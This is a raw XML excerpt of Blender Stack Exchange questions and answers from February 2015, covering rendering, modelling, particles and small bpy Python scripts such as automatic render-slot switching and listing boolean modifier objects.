  <row Id="26214" PostTypeId="2" ParentId="26207" CreationDate="2015-02-24T15:46:44.600" Score="1" Body="&lt;p&gt;You have no light in your scene, add a sun, spot, point or anything to give some light&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VtbJO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-24T15:46:44.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26215" PostTypeId="2" ParentId="26212" CreationDate="2015-02-24T15:52:14.870" Score="1" Body="&lt;p&gt;Cycles can be removed as an addon, but Blender Internal is...internal.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-24T15:52:14.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26216" PostTypeId="1" CreationDate="2015-02-24T15:55:31.367" Score="3" ViewCount="14895" Body="&lt;p&gt;I do this in Maya where you can re-target say a walk cycle from one humanoid onto another. Can one do this in blender?&lt;/p&gt;&#xA;" OwnerUserId="3748" LastActivityDate="2017-12-23T23:51:49.120" Title="Can blender be used to re-target animations to other rigs?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26217" PostTypeId="1" AcceptedAnswerId="26219" CreationDate="2015-02-24T16:02:36.113" Score="1" ViewCount="178" Body="&lt;p&gt;Is it possible to list, in Python, all the subtracted objects?&lt;/p&gt;&#xA;&lt;p&gt;I've got a big wall (&lt;code&gt;Wall&lt;/code&gt;) with 3 holes (&lt;code&gt;Cube&lt;/code&gt;, &lt;code&gt;Cube.001&lt;/code&gt;, &lt;code&gt;Cube.002&lt;/code&gt;). I made the holes with a boolean difference and I wish to list the names of these objects.&lt;/p&gt;&#xA;&lt;p&gt;In this case I want to list:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;list = ['Cube', 'Cube.001', 'Cube.002']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gxgMy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-08-24T15:40:40.910" Title="List boolean object names" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26218" PostTypeId="2" ParentId="26213" CreationDate="2015-02-24T16:14:23.617" Score="6" Body="&lt;p&gt;Cycles is a ray tracing renderer.&#xA;Can use different tracing strategies (under integrator option):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Path tracing: pure path tracer.&lt;/li&gt;&#xA;&lt;li&gt;Branched path tracing: path tracer with branching on the first bounce.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It uses Monte-Carlo for sampling, that means repeated random sampling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soon &lt;a href=&quot;https://developer.blender.org/T38401&quot; rel=&quot;noreferrer&quot;&gt;Metropolis Light Transport&lt;/a&gt; should be also available which is a variant to Monte-Carlo, it uses Bidirectional path tracing and Metropolis sampling.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-24T16:22:14.483" LastActivityDate="2015-02-24T16:22:14.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26219" PostTypeId="2" ParentId="26217" CreationDate="2015-02-24T16:15:54.180" Score="2" Body="&lt;p&gt;This script will loop through the modifiers on the specified object, check if they are boolean modifiers, check if the modifier has an object specified, and if it does it will print the name of the object being used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#Object with modifiers&#xA;object = bpy.data.objects['Cube']       &#xA;&#xA;for modifier in object.modifiers:&#xA;    #Check if modifier is boolean AND has a boolean object selected  &#xA;    if modifier.type == &quot;BOOLEAN&quot; and modifier.object:&#xA;        print (modifier.object.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could of course &lt;code&gt;.append&lt;/code&gt; object names into a list instead of printing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use a &lt;a href=&quot;https://docs.python.org/2/tutorial/datastructures.html#list-comprehensions&quot; rel=&quot;nofollow&quot;&gt;list comprehension&lt;/a&gt; version which does exactly the same, except this adds all object names to a list before printing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objects = [mod.object.name for mod in object.modifiers if mod.type==&quot;BOOLEAN&quot; and mod.object]&#xA;print (objects)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2016-08-24T15:40:40.910" LastActivityDate="2016-08-24T15:40:40.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26220" PostTypeId="1" CreationDate="2015-02-24T16:26:02.720" Score="0" ViewCount="764" Body="&lt;p&gt;If &lt;strong&gt;I'm using Blender Render&lt;/strong&gt;, and i want to render an Animation, before anything on the settings, can i set the contrast?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-24T16:49:50.493" Title="Is there any option to change the contrast on Blender Render?" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-24T16:49:39.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="26221" PostTypeId="1" CreationDate="2015-02-24T16:31:55.757" Score="0" ViewCount="842" Body="&lt;p&gt;is there any cpu gpu hybrid render addon for blender similar to luxrender hybrid path but more gpu optimized? If there is I would like to know&lt;/p&gt;&#xA;" OwnerUserId="12782" LastActivityDate="2015-02-24T16:31:55.757" Title="is there any cpu gpu hybrid render addon for blender" Tags="&lt;rendering&gt;&lt;add-on&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26222" PostTypeId="2" ParentId="26220" CreationDate="2015-02-24T16:49:50.493" Score="2" Body="&lt;p&gt;There is no option for contrast but you can change it in the node editor under&#xA;Add node -&gt; color -&gt; brightness/contrasts connect the scene node to the brightness/contrasts node and then to the render output node NOTE you need to click&#xA;The use nodes button first&lt;/p&gt;&#xA;" OwnerUserId="12782" LastActivityDate="2015-02-24T16:49:50.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26223" PostTypeId="2" ParentId="26205" CreationDate="2015-02-24T17:40:14.460" Score="2" Body="&lt;p&gt;you can add &lt;strong&gt;texture&lt;/strong&gt; to the &lt;strong&gt;particle system&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Hzo1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then change the &lt;strong&gt;influence&lt;/strong&gt; from &lt;strong&gt;time&lt;/strong&gt; to &lt;strong&gt;density&lt;/strong&gt; in the &lt;strong&gt;texture&lt;/strong&gt; tab :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G8685.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the texture tab you can change the mapping, enable/disable Alpha ;&#xA;by default it will use the alpha channel and emit from the non transparent part&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-24T17:40:14.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26224" PostTypeId="1" CreationDate="2015-02-24T18:00:43.447" Score="4" ViewCount="1228" Body="&lt;p&gt;Is it possible to require each new &lt;kbd&gt;F12&lt;/kbd&gt; render to appear in a new render slot thereby not overwriting the one I wanted to compare it against?&lt;/p&gt;&#xA;" OwnerUserId="11590" LastEditorUserId="2217" LastEditDate="2016-12-29T17:47:04.787" LastActivityDate="2016-12-29T17:47:04.787" Title="Force each new render into sequential render slot" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26226" PostTypeId="2" ParentId="26163" CreationDate="2015-02-24T18:03:16.737" Score="5" Body="&lt;p&gt;You have to hit &lt;kbd&gt;Enter&lt;/kbd&gt; right after you hit Duplicate with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;. This locks in the duplication. If you don't do that, Blender deletes the underlying verts once you do the separation step. &lt;/p&gt;&#xA;" OwnerUserId="11124" LastEditorUserId="3710" LastEditDate="2015-02-24T23:19:59.753" LastActivityDate="2015-02-24T23:19:59.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26228" PostTypeId="2" ParentId="26224" CreationDate="2015-02-24T18:29:42.727" Score="6" Body="&lt;p&gt;here is a script that switch the render slot automatically after each render &lt;br/&gt;&#xA;-This is for blender &lt;strong&gt;2.72 and earlier&lt;/strong&gt; versions :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def PostRender(self):&#xA;        bpy.data.images['Render Result'].render_slot += 1&#xA;        bpy.data.images['Render Result'].render_slot %= 7&#xA;&#xA;bpy.app.handlers.render_complete.append(PostRender)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;paste and run inside blender&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;as Ray Mairlot noted the &lt;a href=&quot;https://developer.blender.org/rBS375d2dc85535b9f08fd2e854c80434eac1c28a67&quot; rel=&quot;nofollow&quot;&gt;changes&lt;/a&gt; in blender &lt;strong&gt;2.73 and later&lt;/strong&gt; versions require replacing &lt;code&gt;render_slot&lt;/code&gt; with &lt;code&gt;render_slots.active_index&lt;/code&gt; as follows :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def PostRender(self):&#xA;        bpy.data.images['Render Result'].render_slots.active_index += 1&#xA;        bpy.data.images['Render Result'].render_slots.active_index %= 7&#xA;&#xA;bpy.app.handlers.render_complete.append(PostRender)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-24T22:19:51.940" LastActivityDate="2015-02-24T22:19:51.940" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="26230" PostTypeId="1" CreationDate="2015-02-24T19:00:29.043" Score="2" ViewCount="129" Body="&lt;p&gt;I've been using Blender for about a year now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the teeth to join with the head.&#xA;After pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; the hair sticks out in every direction and the teeth still aren't connected with the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both versions I downloaded had bugs in them, which gives me a really hard time to model my characters. The program is really slow.&lt;/p&gt;&#xA;" OwnerUserId="12797" LastEditorUserId="599" LastEditDate="2015-02-24T19:31:16.577" LastActivityDate="2015-04-08T01:21:32.143" Title="Pressing ctrl J messes up hair" Tags="&lt;modeling&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26231" PostTypeId="1" CreationDate="2015-02-24T19:09:52.560" Score="0" ViewCount="84" Body="&lt;p&gt;I'd like to make an application using the game engine which has similar interaction to Blender's normal 3D view. Is there a ready-made set of sensors and actuators available to do this? I could do it manually, just don't want to re-invent the wheel here.&lt;/p&gt;&#xA;" OwnerUserId="11518" LastActivityDate="2015-02-24T19:09:52.560" Title="Sensors and actuators to mimic 3D view behavior?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26232" PostTypeId="1" AcceptedAnswerId="26250" CreationDate="2015-02-24T19:21:55.900" Score="2" ViewCount="59" Body="&lt;p&gt;how can I change the color of the text_input widget in the BGUI?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.input = bgui.TextInput(self.win, text=&quot;text&quot;, color=(0, 0, 0, 1), size=[.4, .04], pos=[.04, 0.12],&#xA;        input_options = bgui.BGUI_INPUT_NONE, options = bgui.BGUI_DEFAULT)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it didn't work, the color is still white. In the default theme the TextInput color is set to black too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12799" LastActivityDate="2015-02-25T01:44:03.710" Title="BGUI change color for Text_Input" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26233" PostTypeId="1" AcceptedAnswerId="26237" CreationDate="2015-02-24T19:29:28.140" Score="8" ViewCount="17512" Body="&lt;p&gt;I have an object of which I would like to curve one face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ipRH1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2WlO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My final goal is to model a television:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QrnCb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34647&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/34647&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I curve just one face?&lt;/p&gt;&#xA;" OwnerUserId="12653" LastEditorUserId="12653" LastEditDate="2015-02-24T20:01:16.097" LastActivityDate="2015-02-24T21:21:44.383" Title="How to curve just one face" Tags="&lt;bezier-curves&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26234" PostTypeId="2" ParentId="26202" CreationDate="2015-02-24T19:42:00.177" Score="9" Body="&lt;p&gt;&lt;strong&gt;No.&lt;/strong&gt;&lt;br&gt;&#xA;Memory is for storing information. If blender doesn't have 32GB of information to store, then it won't use up 32GB of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &lt;em&gt;force&lt;/em&gt; blender to use more ram than it needs would mean reserving memory and not putting anything in it (a waste), or filling it with useless data which doesn't help blender render (also a waste).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; This doesn't really seem like it would be useful.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-24T19:42:00.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26235" PostTypeId="1" AcceptedAnswerId="26240" CreationDate="2015-02-24T20:16:43.990" Score="5" ViewCount="370" Body="&lt;p&gt;I define have defined an IntProperty, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.mycount_particles = bpy.props.IntProperty(&#xA;    name = &quot;particle count&quot;, &#xA;    default = 300, &#xA;    min =0,&#xA;    max=10000,     &#xA;    description = &quot;Short description of your prop, to show in the popup&quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the I put it in my Panel (Hello Word Panel)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.prop(context.scene, &quot;mycount_particles&quot;, slider=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t56Zk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now,  I need my slider to update number of particles, using a Python script itself and not drivers.  How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="3078" LastEditDate="2015-02-24T20:24:42.100" LastActivityDate="2015-02-24T21:39:43.037" Title="How to control the number of particles with a custom slider" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26237" PostTypeId="2" ParentId="26233" CreationDate="2015-02-24T21:04:16.400" Score="8" Body="&lt;p&gt;I would add a few loop cuts (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;) and then use proportional editing to pull the middle cut out (from side view), you can change the falloff type to &lt;em&gt;spherical&lt;/em&gt; at the bottom of the view to get a more rounded look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pg5TJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;loop cuts&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qPIia.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;spherical falloff&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b2BXn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;em&gt;pulling cut out&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-02-24T21:12:26.297" LastActivityDate="2015-02-24T21:12:26.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26238" PostTypeId="2" ParentId="26233" CreationDate="2015-02-24T21:21:44.383" Score="13" Body="&lt;p&gt;A different approach (than my &lt;a href=&quot;https://blender.stackexchange.com/a/26237/5705&quot;&gt;other answer&lt;/a&gt;)  would be to modify the mesh slightly so that you could perform a bevel operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beveling rounds off a corner, so you need a corner where you want the rounded part instead of a flat face.  I accomplished this by connecting the two edges across the face and moving the new edge to a positing where it's two adjoining faces are at right angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnvxf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then select the new edge and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; to bevel the edge into a curve, using the mouse wheel to control the number of subdivisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tl1IY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-24T21:21:44.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26239" PostTypeId="2" ParentId="2203" CreationDate="2015-02-24T21:33:12.563" Score="1" Body="&lt;p&gt;I had the same issue on a fresh install of windows 7 64bit...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went to the Blender Foundation folder in program files and ran Blender-app and it worked..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.73a&lt;/p&gt;&#xA;" OwnerUserId="8417" LastActivityDate="2015-02-24T21:33:12.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26240" PostTypeId="2" ParentId="26235" CreationDate="2015-02-24T21:39:43.037" Score="2" Body="&lt;p&gt;Add an update function to your property which would be called whenever you change the that property :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def update_particles(self, context):&#xA;    bpy.data.particles['ParticleSettings'].count =bpy.context.scene.mycount_particles &#xA;&#xA;bpy.types.Scene.mycount_particles = bpy.props.IntProperty(&#xA;    name = &quot;particle count&quot;, &#xA;    default = 300, &#xA;    min =0,&#xA;    max=10000, &#xA;    update = update_particles,   &#xA;    description = &quot;particles number of the first particle system&quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-24T21:39:43.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26241" PostTypeId="1" AcceptedAnswerId="26243" CreationDate="2015-02-24T21:59:35.443" Score="4" ViewCount="159" Body="&lt;p&gt;What I want is there to be a particle emitter which emits random sizes but also has a small chance of getting a really big particle. Is this possible? I don't mind if it's integrated, an addon, nodes, scripts or whatever.&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-02-24T22:52:23.157" Title="Chance of bigger sized particle?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26242" PostTypeId="1" AcceptedAnswerId="26264" CreationDate="2015-02-24T22:11:35.420" Score="4" ViewCount="505" Body="&lt;p&gt;I'm trying to use an Nvidia GT520 as a render device, but i have an AMD HD7770 as my main GPU. &#xA;In user preferences i can choose CUDA as my compute device, and it detects my card, but when it's time to render, cpu usage is at 100% and it uses my main system memory.&#xA;My monitors are connected to my AMD card.&#xA;I'm using Windows 8 64 Bit, with both latest AMD, and Nvidia drivers, and rendering on Blender 2.72&lt;/p&gt;&#xA;" OwnerUserId="12801" LastEditorUserId="3078" LastEditDate="2015-02-24T22:59:37.210" LastActivityDate="2015-04-08T01:19:07.337" Title="Does a separate GPU for CUDA work with main AMD card, in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26243" PostTypeId="2" ParentId="26241" CreationDate="2015-02-24T22:33:41.763" Score="3" Body="&lt;p&gt;use texture to control the size of the particles as follows : &lt;br&gt;&#xA; - add a texture to the particle system &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XW3Ch.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in the texture tab change the influence to &lt;strong&gt;size&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ebclS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FBRsR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;white regions -&gt; full size particle&lt;br&gt;&#xA;gray region -&gt; small particles&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-24T22:33:41.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26244" PostTypeId="2" ParentId="26241" CreationDate="2015-02-24T22:52:23.157" Score="2" Body="&lt;p&gt;Yes it is possible. A single object is not limited to one particle system. Add a second one for the really big particles and turn down the emission number.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2015-02-24T22:52:23.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26245" PostTypeId="2" ParentId="26061" CreationDate="2015-02-24T23:03:07.287" Score="2" Body="&lt;p&gt;It's a scope issue. Your &lt;code&gt;exec()&lt;/code&gt; does not change the global or method-local scope. Instead, you need to pass two dictionaries to capture the sandboxed global and local scope:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class testThis:&#xA;    def printMe(self):&#xA;        foo = &quot;bar&quot;&#xA;        global_scope = {}&#xA;        local_scope = {}&#xA;        exec(foo + &quot; = 'something else'&quot;, global_scope, local_scope)&#xA;&#xA;        print(local_scope)&#xA;        # {'bar': 'something else'}&#xA;&#xA;test = testThis()&#xA;test.printMe()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-03-09T09:11:27.437" LastActivityDate="2015-03-09T09:11:27.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26247" PostTypeId="2" ParentId="26144" CreationDate="2015-02-25T00:41:08.083" Score="3" Body="&lt;p&gt;I've edited the code to hide all selected objects at frame 40.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to hide the objects at a different frame, you only need to edit the value for &lt;code&gt;hide_at_frame&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I haven't put it any functionality for removing previous keyframing of visibility. So if you run this script 3 times, with different values, you're going to get 3 keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;selected_objects = bpy.context.selected_objects&#xA;hide_at_frame = 40&#xA;&#xA;for cube in selected_objects:&#xA;    #Hide from viewport&#xA;    cube.hide = False&#xA;    cube.keyframe_insert(data_path=&quot;hide&quot;, index=-1, frame=1) &#xA;&#xA;    cube.hide = True&#xA;    cube.keyframe_insert(data_path=&quot;hide&quot;, index=-1, frame=hide_at_frame)&#xA;&#xA;    #Hide from render&#xA;    cube.hide_render = False&#xA;    cube.keyframe_insert(data_path=&quot;hide_render&quot;, index=-1, frame=1) &#xA;&#xA;    cube.hide_render = True&#xA;    cube.keyframe_insert(data_path=&quot;hide_render&quot;, index=-1, frame=hide_at_frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2015-02-25T19:23:09.053" LastActivityDate="2015-02-25T19:23:09.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26248" PostTypeId="2" ParentId="26144" CreationDate="2015-02-25T00:42:39.660" Score="1" Body="&lt;p&gt;same as my answer &lt;a href=&quot;https://blender.stackexchange.com/a/24882/5113&quot;&gt;here&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this code keeps a specific group of objects' visibility related to an object this is how it works : &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add the selected objects to a group named 'linked objects'&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;rename the active object  'source object'&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;whenever the function is called it copies the render visibility from the 'source object' to the rest objects in the group &lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;the function is appended to the &lt;code&gt;frame_change_pre()&lt;/code&gt; handler to be called automatically before each frame change&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note :&lt;/strong&gt;&lt;br&gt;&#xA;  - before you run the script make sure to select your objects and the active object is going to be the source object thus it will be renamed ( you can make a dummy object as the source to keep the names) &lt;br&gt;&#xA;  - you can add/remove other objects later to/from the group because the update is related to the group not specific objects&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.active_object.name = 'source_object'&#xA;linked_objects = bpy.data.groups.new('Linked_objects')&#xA;selected_objects = [obj for obj in bpy.context.selected_objects &#xA;                            if obj.type == bpy.context.active_object.type]&#xA;for obj in selected_objects:        &#xA;      linked_objects.objects.link(obj)&#xA;&#xA;&#xA;def link_visibility(context):&#xA;&#xA;    linked_objects = bpy.data.groups['Linked_objects'].objects&#xA;    hide = bpy.context.scene.objects['source_object'].hide_render&#xA;&#xA;&#xA;    for obj in linked_objects:&#xA;        obj.hide_render = hide&#xA;&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(link_visibility)  #update on frame change&#xA;&#xA;#bpy.app.handlers.scene_update_pre.append(link_visibility) #this for instant update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you animate the render visibility on the source object and other object will have the same effect &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-02-25T00:47:43.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26249" PostTypeId="2" ParentId="7241" CreationDate="2015-02-25T01:15:52.273" Score="1" Body="&lt;p&gt;Just make a full bake&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this does not work for animation&lt;/p&gt;&#xA;" OwnerUserId="12782" LastActivityDate="2015-02-25T01:15:52.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
